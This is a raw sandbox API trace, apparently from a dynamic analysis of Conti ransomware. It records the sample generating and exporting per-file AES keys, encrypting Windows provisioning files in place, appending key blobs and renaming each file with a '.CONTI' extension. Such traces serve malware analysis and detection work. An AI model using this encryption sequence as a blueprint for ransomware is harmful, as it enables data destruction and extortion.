	[0113.299] lstrcpyW (in: lpString1=0x654cd80, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\586__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\586__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\586__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0113.299] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\586__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\586__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\586__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.299] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\586__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\586__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\586__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\586__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.300] GetProcessHeap () returned 0x1720000
	[0113.300] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x654cd80 | out: hHeap=0x1720000) returned 1
	[0113.300] CryptDestroyKey (hKey=0x17c77f0) returned 1
	[0113.300] GetProcessHeap () returned 0x1720000
	[0113.300] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65badc8 | out: hHeap=0x1720000) returned 1
	[0113.300] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0113.300] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x17d38d0 | out: phKey=0x17d38d0*=0x17c78b0) returned 1
	[0113.300] CryptExportKey (in: hKey=0x17c78b0, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d38d4, pdwDataLen=0x4bffe94 | out: pbData=0x17d38d4*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0113.301] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\587__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\587__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.301] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\587__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\587__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
	[0113.302] GetLastError () returned 0x0
	[0113.302] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=715) returned 1
	[0113.302] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cb
	[0113.302] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.302] SetEndOfFile (hFile=0x408) returned 1
	[0113.302] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.302] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.302] WriteFile (in: hFile=0x408, lpBuffer=0x17d38d4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x17d38d4*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.307] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.307] ReadFile (in: hFile=0x408, lpBuffer=0xda50000, nNumberOfBytesToRead=0x2cb, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x2cb, lpOverlapped=0x0) returned 1
	[0113.308] CryptEncrypt (in: hKey=0x17c78b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x2cb, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x2d0) returned 1
	[0113.308] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.308] WriteFile (in: hFile=0x408, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.309] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.309] WriteFile (in: hFile=0x408, lpBuffer=0x17d38c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x17d38c8*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0113.309] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.309] CloseHandle (hObject=0x408) returned 1
	[0113.309] GetProcessHeap () returned 0x1720000
	[0113.309] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b130
	[0113.309] lstrcpyW (in: lpString1=0x653b130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\587__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\587__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\587__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0113.309] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\587__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\587__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\587__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.309] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\587__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\587__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\587__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\587__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.310] GetProcessHeap () returned 0x1720000
	[0113.310] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b130 | out: hHeap=0x1720000) returned 1
	[0113.310] CryptDestroyKey (hKey=0x17c78b0) returned 1
	[0113.310] GetProcessHeap () returned 0x1720000
	[0113.310] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65bb430 | out: hHeap=0x1720000) returned 1
	[0113.310] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0113.310] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x65bd2f8 | out: phKey=0x65bd2f8*=0x17c7870) returned 1
	[0113.310] CryptExportKey (in: hKey=0x17c7870, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65bd2fc, pdwDataLen=0x4bffe94 | out: pbData=0x65bd2fc*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0113.311] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\589__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\589__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.311] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\589__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\589__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
	[0113.311] GetLastError () returned 0x0
	[0113.311] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=712) returned 1
	[0113.311] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c8
	[0113.311] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.311] SetEndOfFile (hFile=0x408) returned 1
	[0113.311] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.312] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.312] WriteFile (in: hFile=0x408, lpBuffer=0x65bd2fc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x65bd2fc*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.318] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.318] ReadFile (in: hFile=0x408, lpBuffer=0xda50000, nNumberOfBytesToRead=0x2c8, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x2c8, lpOverlapped=0x0) returned 1
	[0113.318] CryptEncrypt (in: hKey=0x17c7870, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x2c8, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x2d0) returned 1
	[0113.318] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.318] WriteFile (in: hFile=0x408, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.318] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.318] WriteFile (in: hFile=0x408, lpBuffer=0x65bd2f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x65bd2f0*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0113.318] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.318] CloseHandle (hObject=0x408) returned 1
	[0113.319] GetProcessHeap () returned 0x1720000
	[0113.319] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b130
	[0113.319] lstrcpyW (in: lpString1=0x653b130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\589__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\589__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\589__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0113.319] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\589__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\589__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\589__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.319] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\589__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\589__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\589__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\589__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.319] GetProcessHeap () returned 0x1720000
	[0113.319] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b130 | out: hHeap=0x1720000) returned 1
	[0113.319] CryptDestroyKey (hKey=0x17c7870) returned 1
	[0113.319] GetProcessHeap () returned 0x1720000
	[0113.319] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65bb1a0 | out: hHeap=0x1720000) returned 1
	[0113.319] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0113.319] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x65be9c8 | out: phKey=0x65be9c8*=0x17c7c70) returned 1
	[0113.319] CryptExportKey (in: hKey=0x17c7c70, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65be9cc, pdwDataLen=0x4bffe94 | out: pbData=0x65be9cc*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0113.320] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\590__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\590__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.320] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\590__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\590__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
	[0113.321] GetLastError () returned 0x0
	[0113.321] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=700) returned 1
	[0113.321] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2bc
	[0113.321] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.321] SetEndOfFile (hFile=0x408) returned 1
	[0113.321] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.321] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.321] WriteFile (in: hFile=0x408, lpBuffer=0x65be9cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x65be9cc*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.330] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.330] ReadFile (in: hFile=0x408, lpBuffer=0xda50000, nNumberOfBytesToRead=0x2bc, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x2bc, lpOverlapped=0x0) returned 1
	[0113.330] CryptEncrypt (in: hKey=0x17c7c70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x2bc, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x2c0) returned 1
	[0113.330] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.330] WriteFile (in: hFile=0x408, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x2c0, lpOverlapped=0x0) returned 1
	[0113.331] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.331] WriteFile (in: hFile=0x408, lpBuffer=0x65be9c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x65be9c0*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0113.331] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.331] CloseHandle (hObject=0x408) returned 1
	[0113.331] GetProcessHeap () returned 0x1720000
	[0113.331] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b130
	[0113.331] lstrcpyW (in: lpString1=0x653b130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\590__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\590__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\590__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0113.331] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\590__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\590__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\590__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.331] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\590__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\590__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\590__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\590__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.332] GetProcessHeap () returned 0x1720000
	[0113.332] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b130 | out: hHeap=0x1720000) returned 1
	[0113.332] CryptDestroyKey (hKey=0x17c7c70) returned 1
	[0113.332] GetProcessHeap () returned 0x1720000
	[0113.332] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65bac80 | out: hHeap=0x1720000) returned 1
	[0113.332] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0113.332] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x65bf778 | out: phKey=0x65bf778*=0x17c7c70) returned 1
	[0113.332] CryptExportKey (in: hKey=0x17c7c70, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65bf77c, pdwDataLen=0x4bffe94 | out: pbData=0x65bf77c*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0113.333] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\592__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\592__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.333] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\592__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\592__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
	[0113.333] GetLastError () returned 0x0
	[0113.333] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=707) returned 1
	[0113.333] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c3
	[0113.333] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.333] SetEndOfFile (hFile=0x408) returned 1
	[0113.333] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
